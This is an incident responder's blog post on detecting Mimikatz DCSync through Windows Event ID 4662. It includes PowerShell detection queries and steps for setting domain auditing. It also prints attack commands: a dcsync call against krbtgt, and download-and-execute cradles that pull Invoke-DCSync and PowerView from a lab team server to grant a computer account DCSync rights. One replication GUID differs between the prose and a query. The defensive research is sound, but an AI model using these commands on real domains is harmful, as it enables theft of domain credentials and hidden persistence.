Mimikatz DCSync Event Log Detections

One of the cooler parts of my job is analyzing adversary activity from incident response engagements to better understand how adversaries carry out their operations, identify trends, and create detections to identify malicious activity either before, during, or after an incident.

If you aren't familiar with DCSync, it was implemented into Mimikatz (authored by Benjamin Delpy and Vincent Le Toux) back in 2015. "DCSync" allows an adversary to masquerade as a domain controller and remotely retrieve password hashes from other domain controllers without executing any code on the target domain controller.

To be executed, the adversary must have access to a domain resource with domain replication privileges specifically "Replicating Directory Changes", "Replicating Directory Changes All", and (sometimes) "Replicating Directory Changes In Filtered Set". By default domain controllers, domain administrators, and enterprise administrators have these privileges granted.

An adversary who compromised an account with adequate permissions would load Mimikatz and run a DCSync command like this:

lsadump::dcsync /domain:dc.dwyer.local /user:krbtgt

OR

powershell -exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://DwyerTeamServer.local/Invoke-DCSync.ps1');Invoke-DCSync -PWDumpFormat"        

In this example, the target account would be the KRBTGT account which is used to encrypt and sign Kerberos tickets within a domain.

DCSYNC leverages the MS-DRSR protocol via the DSGetNCChanges method which is responsible for replicating Naming Context updates.

Note: In my research, network based detections continue to be the best way to detect DCSync given that you can key in on a specific protocol but that kind of data hasn't been available during most of the IRs I have been involved with.

For more information regarding DCsync and Mimikatz, I recommend visiting Benjamin Delpy's Blog (https://blog.gentilkiwi.com/) and GitHub . I'd link you right to the repo but I also don't want to get anyone in trouble for clicking a link with the word "mimikatz" in it :)

If you do some Googling on DCSync detections, you will likely come across a Windows Event Log detection focusing on the Event ID 4662 and this is the one I wanna talk about today.

On domain controllers, Event ID 4662 is logged when an operation is performed on an object within Active Directory and this event is perfectly normal for when objects are changed or when domain controllers need to replicate changes to other domain controllers.

In the case of a DCSync command, the adversary leverages the DS-Replication-Get-changes-All extended right within the Domain-DNS class to request data to replicate to a user or system that is not a domain controller so that they can carry out their evil deeds.

The standard method to detect DCsync activities from event log analysis is to analyze EventID 4662 event where the Object Server is "DS" and the properties contain "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" (DS-Replication-Get-Changes-All) and "19195a5b-6da0-11d0-afd3-00c04fd930c9" (Domain-DNS?class WRITE_DAC) but the associated account name is not a machine account (this is most commonly filtered by looking for account names that do not end with "$")

Example: Evil vs Legit 4662 events

Here is a lil PowerShell command to test this detection like you would in a SIEM and success! Found ze evil!

$Events = get-eventlog -LogName security | where {$_.EventId -eq 4662 -and $_.Message -like "*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" -and $_.Message -like "*19195a5b-6da0-11d0-afd3-00c04fd930c9*" -and $_.Message -like "*128d83d7-1a6e-4e6d-936a-21579652d757*" -and $_.Message -like "*Object Server:*DS*" };foreach($event in $Events){$Account=$event.ReplacementStrings[1];if($Account -notmatch '\$$'){write-host "CRITICAL: Possible DCSync Executed.",$event.TimeGenerated,$event.MachineName,$event.EventId,$Account}}



CRITICAL: Possible DCsync Executed 7/9/2021 6:59:50 AM dwyerdc1.dwyer.com 4662 Administrator        

This is a really good detection and one that I have seen work multiple times to identify malicious activity during and after incidents but remember to successfully perform a DCSync the adversary must just obtain "Replicating Directory Changes", "Replicating Directory Changes All", and "Replicating Directory Changes In Filtered Set" privileges so really any object within Active Directory could perform a DCsync and this is where things get interesting.

Using Powerview by Will Schroeder (@harmj0y) we can easily grant the requisite DCSync privileges to a computer account within Active Directory. In this example, I will be using an Exchange CAS that I have remote access using a domain administrator account.

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://dwyerteamserver.local:12345/powerview.ps1');Add-ObjectACL -PrincipalIdentity exchange1 -Rights DCSync"        

You can also do this via the GUI via ADSI Edit

After switching my access to the SYSTEM account, I will run DCSync again as the Exchange Server and I got the goods which is to be expected

Let's go back to our domain controller and test our detection.....and ruh roh.

It appears we have found a gap in the standard DCSync Windows Event Log detection.

If we loosen our query a bit there are some Event ID 4662 events on the domain controller but no reference to the computer account that we used to execute DCsync. From an incident response point of view, this is a problem because you could have an adversary who is able to maintain privileged access to the domain that would persist domain admin and krbtgt password resets. Furthermore, if you do not have the available network telemetry to detect the DCsync behaviors, this has now become a super stealthy bit of credential access.

Diving into what Event ID 4662 events were generated it appears that events were written when granting the computer object DCsync privileges.

In my tests, the following query appears to have a low false positive rate and is constant across domains and Windows versions (to my knowledge) for detecting when a user grants an object DCSync rights.

Security Log Entries WHERE Event ID = 4662 AND Account Name does not end with '$' AND Object Name = domainDNS AND ObjectServer = DS AND Properties contain "19195a5b-6da0-11d0-afd3-00c04fd930c9"

$Events = get-eventlog -LogName security | where {$_.EventId -eq 4662 -and $_.Message -like "*19195a5b-6da0-11d0-afd3-00c04fd930c9*" -and $_.Message -like "*128d83d7-1a6e-4e6d-936a-21579652d757*" -and $_.Message -like "*Object Server:*DS*" };foreach($event in $Events){$Account=$event.ReplacementStrings[1];if($Account -notmatch '\$$'){write-host "Possible DCSync Privs Granted, Check perms",$event.TimeGenerated,$event.MachineName,$event.EventId,$Account}}




Possible DCSync Privs Granted, Check perms 7/9/2021 6:59:50 AM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/9/2021 6:59:50 AM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/9/2021 6:59:50 AM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/8/2021 6:28:59 PM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/8/2021 6:28:59 PM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/8/2021 6:28:59 PM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/8/2021 6:28:22 PM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/8/2021 6:27:51 PM dwyerdc1.dwyer.com 4662 Administrator
Possible DCSync Privs Granted, Check perms 7/8/2021 6:26:18 PM dwyerdc1.dwyer.com 4662 Administrator        

This is a good start but there's still no reference to the computer object that actually performed the DCSync so we have to sort that out next. Just to be sure, I cleared all the Windows Event Logs on my Domain Controller and repeated the exercise 1. grant DCSync privs to computer account 2. DCSync as SYSTEM

Only 3 log files were written to during the exercise (granted I don't have a super verbose logging policy enabled so if there's another log out there that can detect all of this, please let me know). Searching the 3 log files, there are no mentions of the computer account so this is a very big blind spot. The good news is that since we understand the ACLs involved to perform a DCSync we can simply query for AD objects that have those permissions set to look for non-default values. Note: you'll need the active directory module to execute this query so best to do it from a system with RSAT installed or a domain controller.

import-module activedirectory;$DefaultPrivs="NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS","BUILTIN\Administrators","$env:USERDOMAIN\Enterprise Read-only Domain Controllers","$env:USERDOMAIN\Domain Controllers";$Privs=(Get-Acl "ad:\dc=dwyer,dc=com").Access | ? {($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" )} | Select IdentityReference; foreach ($priv in$Privs){if($priv.IdentityReference -notin $DefaultPrivs){write-host $priv.IdentityReference}}



DWYER\jdwyer
DWYER\jdwyer
DWYER\jdwyer
DWYER\EXCHANGE1$
DWYER\EXCHANGE1$
DWYER\EXCHANGE1$
PS C:\Users\Administrator>        

Bingo!

Now to extend the same 4662 WEL detection for situations when adversaries leverage computer accounts, you'll need to modify the default auditing permissions of the domain to grant audit permissions for Replicating Directory Changes to Domain Computers.

Once that is enabled and you run a gpupdate /force on the domain controller, a 4662 will be generated when DCsync is run as a computer account.

To set the auditing permissions, open Active Directory Users and Computers, right click on your domain name and select properties. From the properties menu, select Security. If the Security tab is not available make sure that Advanced Features is enabled in the View Menu.

Next select the Advanced button, and navigate to the Auditing tab. Select Add and click on "Select a principal". In the object name box, enter "domain computers" and select Check Names to confirm.

Scroll all the way down to the bottom and select Clear All, then navigate back to the Permissions section and enable Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set.

Like with any event log based detection, it is only as good as the data that is available. If the 4662 events are no longer available due to rolling or being destroyed, this detection will obviously not work.

With that said, I think it's safe to say that I will be adding this permission audit to the remediation phase of every single IR from here on out!

Disclaimer:

The information shared in this article is based on my professional experience. It is not a substitute for professional cybersecurity guidance or advice. I do not assume and hereby disclaim any liability to any party for any errors, disruptions, damages, or other negative consequences resulting from applying the information that I share.

The ideas expressed here are my own and do not necessarily represent positions, strategies, or opinions of my employer.